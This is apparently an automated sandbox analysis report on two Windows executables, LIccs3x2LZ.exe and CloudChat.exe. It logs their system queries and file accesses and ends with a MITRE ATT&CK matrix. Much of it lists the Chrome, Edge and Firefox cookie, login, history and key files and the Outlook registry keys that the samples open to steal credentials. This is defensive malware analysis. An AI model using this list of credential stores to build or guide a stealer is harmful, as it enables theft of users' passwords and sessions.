Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Code function: 0_2_00007FF6929EC580 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6929EC580

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Code function: 0_2_00007FF692A06E10 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF692A06E10

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\LOG	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\a5f61848-f128-4a80-965b-a3000feed295\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOCK	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\031db23f-f53a-4d6b-b429-cd0302ef56d3\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\6490c938-fe3f-48ae-bc5e-e1986298f7c1\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\LOCK	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\58ef9818-5ea1-49a0-b5b0-9338401a7943\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\15702f96-fbc1-4934-99bf-a9a7406c1be7\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 Windows Service	1 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	11 Process Injection	2 Obfuscated Files or Information	Security Account Manager	56 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
